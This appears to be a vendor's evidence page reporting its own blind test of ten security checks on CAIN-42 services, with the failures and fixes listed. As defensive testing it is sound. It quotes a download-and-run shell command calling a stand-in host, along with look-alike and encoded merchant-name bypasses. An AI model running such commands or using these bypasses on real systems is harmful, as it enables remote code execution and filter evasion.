CAIN-42 CAIN StudioEvidence
blind set scripts/verify_yourself/blind_2026_11_02.py written before any change; run 1 invalid (harness read the output path as the base URL, so no request reached the server); run 2 is the reported run.
Before the blind set, a Python port of the 10 checks ran against production: 10/10 (scripts/verify_yourself/live_run.py, 2026-11-02T18:05:56Z). The question for the blind set was different: would the page catch a broken or abusable server, or would it still show PASS?
Run 2: 6/10 held. case 4 counted as held because the server exposes a freshness field; the page itself did not check it, so it is also listed as a page fix.
| Case | Want | Run 2 | Detail | After |
|---|---|---|---|---|
| anonymous visitor re-pins the shared DriftGuard demo tool | refused | held | POST /suite/driftguard/v1/tools/send_email/pin 401; PUT /suite/driftguard/v1/tools/send_email/pin 404; POST /s | held |
| CAINPay look-alike/port/encoding variants of a blocked merchant | DECLINED | failed | 'саsino.example'->APPROVED; 'casino。example'->APPROVED; 'casino.example:443'->APPROVED; 'casino.example%2e'->A | fixed in cain-microservices/cainpay (merchant treated as a hostname: percent-decode, NFKC, other full stops, cut scheme/user/path/query/fragment/:port, punycode decode; deny side folds Cyrillic/Greek look-alikes); 2 new tests, 14/14; live after the CAINPay catalog image rebuild |
| self-signed forged cluster with forger's own pin | NOT_VERIFIED | held | self-signed + own pin -> NOT_VERIFIED | held |
| page can tell a stale cluster status from a fresh one | freshness field checked | held | status keys=['cluster_id', 'configuration_hash', 'endpoints', 'f', 'health', 'health_age_s', 'health_measured_ | the server publishes health_age_s, but the page did not check it: page now requires < 15 min (live) |
| receipt anchored somewhere outside this server | independent anchor | failed | receipt sha256 cc1a0bc6e6e640b0; page compares it to nothing outside this origin (daily-evidence: HTTP 404) | page check 11 added (live): re-hashes the anchored head proof in the browser and links the public Rekor entry; the quorum receipt itself is not yet logged in Rekor |
| auditlattice: other private paths | 403 | held | /orgs 403; /orgs/demo-org/agents 403; /orgs/demo-org/events 403; /orgs/demo-org/fleet/snapshot/2 403; /orgs/ac | held |
| CODEGUARD near-variants of the page's own deny list | DENY | failed | not denied: ['sh -c "$(curl -fsSL http://x.example/i.sh)"'] | CODEGUARD 1.2.1: download run through $( ) / backticks under sh -c, eval, source, python -c is remote_code_execution (DENY); 280 tests; earlier blind sets 30/30, 30/30, 60/60 with no new false alarms; live after gateway deploy |
| FlowGate/FairGate edge inputs | correct | failed | [('self-loop', 200, True), ('both groups 0%', 200, False, None), ('no records', 400, None)] | FairGate: an undefined ratio (privileged group at 0%) is now verdict UNDETERMINED and flagged for review, not cleared; 13 tests; live after the suite host ships fairgate |
| AETHER-33 invariants are computed per request | per-request evidence | held | fields that differ between two requests: ['duration_ms', 'checked_at']; keys ['checked_at', 'duration_ms', 'fa | held |
| plain HTTP redirects to HTTPS and API carries HSTS | redirect + HSTS | held | http -> 301; HSTS on API: max-age=31536000; includeSubDomains | held |
After the changes: 11/11 checks passed (2026-11-02 ~18:20Z).
Raw data: verify-yourself-evolution-2026-11-02.json. Our own runs; no independent test.
FIRME AI CORPORATION · CAIN-42 is a Byzantine trust fabric. Numbers marked "our own check" were run by us, not by an independent party. Nothing on these pages is a certification.